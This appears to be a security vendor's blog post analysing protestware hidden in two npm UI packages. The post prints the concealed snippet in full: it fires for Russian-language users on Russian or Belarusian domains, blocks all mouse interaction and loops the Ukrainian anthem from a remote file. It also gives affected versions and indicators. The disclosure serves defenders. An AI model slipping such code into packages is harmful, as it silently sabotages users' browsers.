Protestware in JavaScript UI Toolkits on NPM Target Russian Language Sites

5 hours ago 1

Socket's Threat Research Team recently discovered two npm packages that have hidden functionality for Russian-language users visiting Russian domains in a browser.

The packages include @link-loom/ui-sdk and @link-loom-react-sdk, both by the same author, with multiple affected versions (1.0.6 through 1.0.99 and 1.0.100 through 1.0.151, respectively). They bundle a well-known JavaScript library, SweetAlert2, which creates elegant modal browser popups with React compatibility. SweetAlert2 is designed for browser-based apps and widely used in dashboards, admin panels, product modals, and more.

Developers may be using these affected versions without realizing that they will stop UI interaction on websites from working for any Russian-language users visiting Russian or Belarusian websites. This falls under the classification of our protestware alert.

At the time of this writing, @link-loom/ui-sdk is deprecated but still live on npm. It was renamed to @link-loom/react-sdk. The package page for @link-loom/ui-sdk links to an active GitHub repo with a slightly different name, @link-loom/loom-sdk. The developer, thepisode, made administrative edits to the README of the deprecated package as late as June 17, 2025, which is odd as the newer package was created over two months ago. Thepisode also has 12 other projects on npm. The package @link-loom/ui-sdk has over 7,000 total downloads and therefore may be impacting any developer who previously downloaded it.

What Should the Package do?#

At first glance, nothing about these packages seems particularly strange. They include a bundled JavaScript UI toolkit designed primarily for integration into React-based web applications. Creating these toolkits is a widely adopted pattern in web development.

These packages include an implementation of SweetAlert2 for creating customizable modals, alerts, toasts, and confirmation dialogs. The packages provide utilities for managing form input, accessibility behaviors, keyboard interaction, animations, and transitions. The SDK also includes support for dynamic layouts, tooltip rendering, input validation, and potentially rich-text or tag-based editors. Browser APIs such as localStorage, navigator, and crypto are used to manage persistent state, collect environment data, and generate secure identifiers.

Overall, these packages are a feature-rich client-side SDK that aim to provide a polished and extensible UI layer for complex web interfaces. This is the type of package that might be used to scale React apps, enforce design consistency, or expose an interface to third-party developers.

Socket’s analysis of @link-loom/ui-sdk.

These packages contain 100,000+ lines of code. If you're not reviewing every line of code, it would be easy to miss this.

About 5,000 lines into the /dist/ui-sdk.cjs.js module, starting in version 1.0.6 and continuing until version 1.0.99, something is different.

// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { var now = new Date(); var initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiation', "".concat(now)); } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(function () { document.body.style.pointerEvents = 'none'; var ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(function () { ukrainianAnthem.play()["catch"](function () { // ignore }); }, 2500); }, 500); } }

The Easter Egg for Russian language users visiting Russian sites. Comments are supplied by the threat actor.

This first line is a complex if statement that requires the user meets all three of the following qualifications:

  1. typeof window !== 'undefined' - the code is running in a browser.
  2. /^ru\\b/.test(navigator.language) - the user’s browser language preference is Russian.
  3. location.host.match(/\\.(ru|su|by|xn--p1ai)$/) - the current domain is Russian or Belarusian.

.ru, .su, and .by refer to Russian, Soviet, and Belarusian domains, respectively. xn--p1ai refers to Russia in Cyrillic, as an**.рф** domain, which can occur internationally.

A user, accessing a Russian or Belarusian domain in their browser while having their language set to Russian, will trigger the following behavior:

  1. Checks the current date and time
  2. Attempts to retrieve a saved date string from the browser. If this is the first visit, it returns null, and stores the current data into the string.
  3. If the key is set, it checks how many days have past since the user last visited the site.
  4. If it has been more than three days since the user visited the site, there’s a 500ms delay before further functionality.
  5. The line document.body.style.pointerEvents = 'none'; disables all mouse-based interaction on the page. Elements of the page will ignore clicks, hovers, scrolls, and more, essentially making the page unresponsive to user input.
  6. Then, the ukrainian national anthem plays by hardcoding a remote .mp3 file. .loop = true ensures continuous playback of the anthem until the page times out or there’s a manual stop. However, the user cannot manually stop the webpage due to the block on mouse-based interaction.

Other parts of the code add delays to bypass autoplay restrictions and suppress errors silently.

In conclusion, users who have their browser language set to Russian and are visiting an .ru, .su, .by, or **.рф** domain for at least the second time, and at least three days apart, will be unable to interact with the webpage and unable to stop the Ukrainian national anthem playing on a loop. There will be no on-screen errors, console logs, or visual clues.

Who is Targeted?#

The creator of the fabergé egg ensures that only repeat visitors are targeted, so anyone who mistakenly finds their way to such a domain and has their language set to Russian will not be impacted. Unless, of course, they make that same mistake twice.

Other users may be Russian-speaking researchers visiting official state websites or archived domains. As a note, many people speak Russian across the world, including people in Central Asia like Kazakhstan and in Ukraine.

Is It Still Active?#

@link-loom/ui-sdk versions 1.0.6 through 1.0.99 is not the only place where the undisclosed functionality exists - It is also in @link-loom/react-sdk versions 1.0.100 through 1.0.151.

The package page for @link-loom/ui-sdk on npm displays a deprecation notice:

The author deprecated the package and renamed it to @link-loom/react-sdk, instead of @link-loom/ui-sdk. The author has the GitHub repository, @link-loom/loom-sdk, linked to @link-loom/ui-sdk.

The package’s final version is 1.0.99, and on this npm page, versions 1.0.6 through 1.0.99 have the undisclosed functionality. The most recent publication was nine months ago. However, thepisode made significant edits to the linked GitHub repository, @link-loom/loom-sdk, as recent as April 2025, and made administrative changes as recently as June 17, 2025. Stranger still, the linked repo has an entirely different folder structure than the code on npm as well as significantly different version numbers. The code in the GitHub repository does not have any mention of Russia nor Ukraine, nor does it have any unexpected behavior that would rise to the classification of protestware.

It also appears that @link-loom/ui-sdk has been renamed as @link-loom/react-sdk.

 There are 63 versions of this package, and it was first published nine months ago. It links to a GitHub repo link-loom-react-sdk.

The first version of this package, 1.0.100, was released nine months ago. Both the time and the version number line up as a continuation of the previous package. This initial version does have the undisclosed protestware functionality in its ui-sdk.cjs.js module.

However, the most recent version, 1.0.164, does not. It also has a completely different file structure than previous versions. The package link-loom-react-sdk is similar but still distinct from loom-sdk, even though neither now have the undisclosed functionality.

Between versions 1.0.101 and 1.0.102, thepisode renamed ui-sdk.cjs.js to react-sdk.cjs.js. In 1.0.102, the undisclosed functionality still exists. In fact, it is present until at least version 1.0.151. It disappears in version 1.0.154.

Outlook & Recommendations:#

The protestware found in the affected versions of these packages targets Russian-language users visiting Russian domains in a browser. The creator of the code has deprecated the package and created a new server-side framework without this functionality.

Open source developers are free to put anything they want in their software and make any kind of political statement. Socket acknowledges that protestware is a formidable tool for software developers to express political or social stances.

However, given how this triggers unexpected behavior for some users that is not documented in the README file, Socket flagged the code as protestware. Developers should always be aware of what the open source code they are downloading does. This kind of protestware can live unnoticed in nested dependencies and may take days or weeks to manifest.

By integrating Socket's free security tools early in your development workflow, you can effectively identify unexpected functionality before it hits your codebase.

  • Socket GitHub App: Automated real-time security analysis of dependencies.
  • Socket CLI Tool: Inspect and detect anomalies during npm builds and installations.
  • Browser Extension: Scans open source package pages in your browser as you browse, flags suspicious or malicious code in real-time, and warns you before you install or download a risky package.

MITRE ATT&CK Framework:#

  • T1491.001 - Defacement: Internal Defacement
  • T1499 - Endpoint Denial of Service
  • T1140 - Deobfuscate/Decode Files or Information
  • T1082 - System Information Discovery

Indicators of Compromise#

  • Package Names
    • @link-loom/ui-sdk
    • @link-loom/react-sdk versions 1.0.100-1.0.151
  • Known Bad File Path
    • ui-sdk.cjs.js
    • react-sdk.cjs.js
Read Entire Article